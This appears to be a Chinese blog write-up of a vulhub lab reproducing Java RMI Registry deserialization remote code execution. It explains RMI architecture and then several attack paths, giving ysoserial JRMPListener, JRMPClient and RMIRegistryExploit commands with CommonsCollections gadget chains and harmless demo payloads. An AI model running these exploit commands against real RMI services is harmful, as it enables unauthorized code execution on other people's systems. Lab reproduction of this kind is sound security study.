【vulhub漏洞复现】Java < JDK8u232_b09 RMI Registry 反序列化远程代码执行绕过

本文最后更新于 2026年3月16日 晚上

一、漏洞原理分析

1.RMI原理

RMI(Remote Method Invocation)为远程方法调用,是允许运行在一个Java虚拟机的对象调用运行在另一个Java虚拟机上的对象的方法。 这两个虚拟机可以是运行在相同计算机上的不同进程中,也可以是运行在网络上的不同计算机中。

通过这样的方式可以实现分布式

在 RMI(Java 远程方法调用)的标准架构里,有三个独立角色:

角色 作用 比喻
服务端(Server) 实现远程业务接口,提供真正的服务逻辑 提供服务的 “商家”
注册中心(Registry) 一个独立的目录服务,用来登记、查找远程服务对象 提供服务索引的 “黄页 / 中介”
客户端(Client) 调用远程服务的一方 找服务的 “用户”

2.RMI实际价值

简单示例直接理解RMI的使用场景:

假设一个实际场景:服务端连接着数据库,接口是getUserById(int id),客户端需要获取用户信息:

  • 客户端有接口:知道 “可以通过 id 查用户”,但没有数据库权限、没有数据库连接、没有查询逻辑;
  • 服务端有接口 + 实现:拿着接口的定义,写了查询数据库的逻辑(select * from user where id=?);
  • RMI 的作用:客户端调用getUserById(1)时,实际是服务端执行数据库查询,把查询结果返回给客户端 —— 客户端全程没碰数据库,只是拿到了结果。

如果没有 RMI,你要实现这个功能,得自己写 Socket 通信、序列化 / 反序列化、网络异常处理;而 RMI 帮你封装了这些底层细节,让你 “像调用本地方法一样调用远程方法”。

注意:客户端调用getUserById(1)时,是服务端执行getUserById()方法并传入1这个参数,并且查询的是服务端的数据库。这个过程中客户端没有任何实际业务代码,全在服务端。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
流程:
1.客户端到服务端
客户端调用getUserById(1) ->
客户端代理(Stub)将方法名和参数序列化 ->
Stub 直接通过自身存储的服务端IP/端口,将请求数据包发送给服务端 ->
服务端代理(Skeleton)反序列化方法名和参数 ->
服务器端调用真正的getUserById()方法

(JDK1.2 后 Skeleton(骨架) 已被废弃,JDK8+ 中服务端不再有独立的 Skeleton 组件,而是由 UnicastRemoteObject 直接处理客户端请求。)

2.服务端到客户端
服务器端调用方法查询数据库 ->
服务端将要返回的数据序列化,通过网络传输给客户端Stub ->
客户端Stub将数据反序列化 ->
(这个过程不需要注册中心的帮助,因为客户端拿到stub,就相当于直接建立了连接)

3.注册中心的流程作用(帮助客户端与服务端建立连接)
客户端启动时,先调用 LocateRegistry.getRegistry() 连接注册中心 ->
调用 registry.lookup("服务名称") ->
注册中心返回该名称对应的「Stub 引用」(包含服务端 IP / 端口) ->
客户端拿到 Stub 后,注册中心的使命就结束了,后续所有通信都是客户端 ->
服务端核心会生成 / 维护 远程对象的服务端通信载体(UnicastServerRef) + 客户端的 Socket 连接 / 请求处理线程,并关联到具体的远程对象实例,以此处理客户端的请求 ->
客户端与服务端直连

3.常见的RMI漏洞

3.1伪装成注册中心攻击客户端或服务端 (发生在客户端与服务端建立连接前的工作中)

  • 注册中心攻击客户端原理
1
2
3
4
5
6
7
8
通过ysoserial将自己伪装成注册中心

client执行lookup(name) ->
Stub发起lookup请求 ->
name序列化发送给registry注册中心 ->
registry Skel dispatch处理该lookup请求 ->
将查到的obj 序列化之后返回给client(返回的数据中有恶意代码payload) ->
client反序列化obj

当客户端环境有可利用的攻击链时候,会触发反序列化攻击rce.简单来说就是注册中心发送给客户端的数据会被客户端反序列化,进而触发漏洞.

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open -a calculator.app"
  • 注册中心攻击服务端原理

业务服务端启动后,执行 registry.bind("服务名", 远程对象),向恶意注册中心发送 “绑定对象” 的请求,也就是将自己要提供给客户端的实际业务对象绑定到注册中心

恶意注册中心不处理绑定请求,直接返回构造好的响应包:首字节(1/2)+ 恶意序列化 payload

业务服务端底层调用 StreamRemoteCall.executeCall(),读取响应包首字节后,对余下的 InputStream

反序列化触发 gadget(如 Commons Collections),业务服务端 JVM 执行攻击者指定的恶意命令

1
java -cp ysoserial.jar ysoserial.exploit.JRMPListener 1099 CommonsCollections5 "open -a calculator.app"

3.2客户端攻击注册中心

原理是RMI框架采用DGC(Distributed Garbage Collection)分布式垃圾收集机制来管理远程对象的生命周期,可以通过与DGC通信的方式发送恶意payload让注册中心反序列化。

DGC 是 RMI 协议的原生内置功能,所有 RMI 节点(注册中心、服务端、客户端)都运行 DGCImpl 组件,且暴露在 JRMP 端口(默认 1099)

条件jdk<=jdk8u111

1
2
java -cp ysoserial.jar ysoserial.exploit.JRMPClient 192.168.171.139 1099 CommonsCollections6 "touch 
/tmp/123"

3.3服务端攻击注册中心

服务端需要将自己想注册的类绑定到注册中心上,可以直接发送反序列化数据给注册中心,进而可以造成反序列化漏洞。服务端调用bind(name,obj)注册远程对象,其中name,obj会以序列化方式发送给registry,registry反序列化它们,触发rce。

#使用bind的方式绑定恶意payload进行攻击,反序列化的直接执行链命令。
条件jdk<=jdk8u111

1
java -cp ysoserial.jar ysoserial.exploit.RMIRegistryExploit your-ip 1099 CommonsCollections6 "touch /tmp/123"  


【vulhub漏洞复现】Java < JDK8u232_b09 RMI Registry 反序列化远程代码执行绕过
http://www.ybyb.org.cn/2026/02/15/【vulhub漏洞复现】Java-JDK8u232-b09-RMI-Registry-反序列化远程代码执行绕过/
作者
LHN
发布于
2026年2月15日
许可协议